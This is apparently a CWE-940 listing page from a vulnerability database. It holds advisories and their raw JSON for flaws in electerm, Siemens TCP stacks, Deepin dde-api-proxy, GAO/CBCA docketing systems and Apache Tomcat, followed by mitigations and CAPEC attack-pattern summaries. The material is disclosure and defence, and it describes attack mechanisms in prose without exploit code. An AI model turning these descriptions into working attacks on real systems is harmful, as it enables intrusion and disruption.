              "fixed": "3.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732",
      "CWE-94",
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:29:59Z",
    "nvd_published_at": "2026-05-28T18:16:35Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n_Local code execution without UI interaction: any same-user process can send a JSON payload to electerm\u0027s single-instance socket/pipe, causing the app to create tabs and potentially spawn attacker-controlled local processes. Affects electerm single-instance installs on the machine._\n\n### Patches\n\n- https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507\n\n### Workarounds\n\n- Do not run unsafe command \n\n### References\n- Report / credit: https://github.com/Curly-Haired-Baboon\n- Electerm releases: https://github.com/electerm/electerm/releases",
  "id": "GHSA-7p5m-v798-f8vv",
  "modified": "2026-07-06T15:15:54Z",
  "published": "2026-05-14T20:29:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electerm/electerm/security/advisories/GHSA-7p5m-v798-f8vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electerm/electerm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Electerm Local code through electerm\u0027s single-instance socket"
}

GHSA-84R6-PWMM-H2FW

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30
VLAI
Details

Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:17:46Z",
    "severity": "HIGH"
  },
  "details": "Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services.",
  "id": "GHSA-84r6-pwmm-h2fw",
  "modified": "2025-12-09T18:30:36Z",
  "published": "2025-12-09T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40820"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-915282.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8F27-8FR7-2363

Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2025-01-24 18:31
VLAI
Details

An issue was discovered in Deepin dde-api-proxy through 1.0.19 in which unprivileged users can access D-Bus services as root. Specifically, dde-api-proxy runs as root and forwards messages from arbitrary local users to legacy D-Bus methods in the actual D-Bus services, and the actual D-Bus services don't know about the proxy situation (they believe that root is asking them to do things). Consequently several proxied methods, that shouldn't be accessible to non-root users, are accessible to non-root users. In situations where Polkit is involved, the caller would be treated as admin, resulting in a similar escalation of privileges.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-23222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-24T17:15:15Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Deepin dde-api-proxy through 1.0.19 in which unprivileged users can access D-Bus services as root. Specifically, dde-api-proxy runs as root and forwards messages from arbitrary local users to legacy D-Bus methods in the actual D-Bus services, and the actual D-Bus services don\u0027t know about the proxy situation (they believe that root is asking them to do things). Consequently several proxied methods, that shouldn\u0027t be accessible to non-root users, are accessible to non-root users. In situations where Polkit is involved, the caller would be treated as admin, resulting in a similar escalation of privileges.",
  "id": "GHSA-8f27-8fr7-2363",
  "modified": "2025-01-24T18:31:13Z",
  "published": "2025-01-24T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23222"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1229918"
    },
    {
      "type": "WEB",
      "url": "https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2025/01/24/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-96F7-VMP7-7RVH

Vulnerability from github – Published: 2026-06-18 18:35 – Updated: 2026-06-18 18:35
VLAI
Details

The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civilian Board of Contract Appeals (CBCA) Electronic Docketing System (EDS) do not validate X-Forwarded-For HTTP headers, allowing a remote attacker with compromised administrator credentials to bypass network access controls and log in.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-54106"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T17:16:33Z",
    "severity": "MODERATE"
  },
  "details": "The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civilian Board of Contract Appeals (CBCA) Electronic Docketing System (EDS) do not validate X-Forwarded-For HTTP headers, allowing a remote attacker with compromised administrator credentials to bypass network access controls and log in.",
  "id": "GHSA-96f7-vmp7-7rvh",
  "modified": "2026-06-18T18:35:24Z",
  "published": "2026-06-18T18:35:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54106"
    },
    {
      "type": "WEB",
      "url": "https://epds.gao.gov"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-169-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54106"
    },
    {
      "type": "WEB",
      "url": "https://www.eds.cbca.gov/login"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9HJV-9H75-XMPP

Vulnerability from github – Published: 2022-05-14 01:18 – Updated: 2024-02-22 19:41
VLAI
Summary
Improper Verification of Source of a Communication Channel in Apache Tomcat
Details

The setGlobalContext method in org/apache/naming/factory/ResourceLinkFactory.java in Apache Tomcat 7.x before 7.0.68, 8.x before 8.0.31, and 9.x before 9.0.0.M3 does not consider whether ResourceLinkFactory.setGlobalContext callers are authorized, which allows remote authenticated users to bypass intended SecurityManager restrictions and read or write to arbitrary application data, or cause a denial of service (application disruption), via a web application that sets a crafted global context.

Severity
6.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.68"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.32"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0.M2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0M1"
            },
            {
              "fixed": "9.0.0.M3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-0763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-940"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-06T20:06:41Z",
    "nvd_published_at": "2016-02-25T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The `setGlobalContext` method in `org/apache/naming/factory/ResourceLinkFactory.java` in Apache Tomcat 7.x before 7.0.68, 8.x before 8.0.31, and 9.x before 9.0.0.M3 does not consider whether ResourceLinkFactory.setGlobalContext callers are authorized, which allows remote authenticated users to bypass intended SecurityManager restrictions and read or write to arbitrary application data, or cause a denial of service (application disruption), via a web application that sets a crafted global context.",
  "id": "GHSA-9hjv-9h75-xmpp",
  "modified": "2024-02-22T19:41:03Z",
  "published": "2022-05-14T01:18:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/76ebc9007567c8326217dd94844540e1e27d8468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/c08641da04d31f730b56b8675301e55db97dfe88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat80/commit/0531f7aeff1999d362e0a68512a3517f2cf1a6ae"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160404202803/http://www.securitytracker.com/id/1035069"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160314101138/http://www.securityfocus.com/bid/83326"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180531-0001"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201705-09"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05324755"
    },
    {
      "type": "WEB",
      "url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05158626"
    },
    {
      "type": "WEB",
      "url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05150442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tomcat"
    },
    {
      "type": "WEB",
      "url": "https://bto.bluecoat.com/security-advisory/sa118"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:1088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2016:1087"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-March/179356.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00047.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00069.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00085.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-1089.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-2599.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-2807.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-2808.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/bugtraq/2016/Feb/147"
    },
    {
      "type": "WEB",
      "url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725926"
    },
    {
      "type": "WEB",
      "url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725929"
    },
    {
      "type": "WEB",
      "url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725931"
    },
    {
      "type": "WEB",
      "url": "http://tomcat.apache.org/security-7.html"
    },
    {
      "type": "WEB",
      "url": "http://tomcat.apache.org/security-8.html"
    },
    {
      "type": "WEB",
      "url": "http://tomcat.apache.org/security-9.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3530"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3552"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3609"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-3024-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Verification of Source of a Communication Channel in Apache Tomcat"
}
Mitigation
Architecture and Design
  • Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack.
  • When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.
CAPEC-500: WebView Injection

An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.

CAPEC-594: Traffic Injection

An adversary injects traffic into the target's network connection. The adversary is therefore able to degrade or disrupt the connection, and potentially modify the content. This is not a flooding attack, as the adversary is not focusing on exhausting resources. Instead, the adversary is crafting a specific input to affect the system in a particular way.

CAPEC-595: Connection Reset

In this attack pattern, an adversary injects a connection reset packet to one or both ends of a target's connection. The attacker is therefore able to have the target and/or the destination server sever the connection without having to directly filter the traffic between them.

CAPEC-596: TCP RST Injection

An adversary injects one or more TCP RST packets to a target after the target has made a HTTP GET request. The goal of this attack is to have the target and/or destination web server terminate the TCP connection.

← Back to the CWE list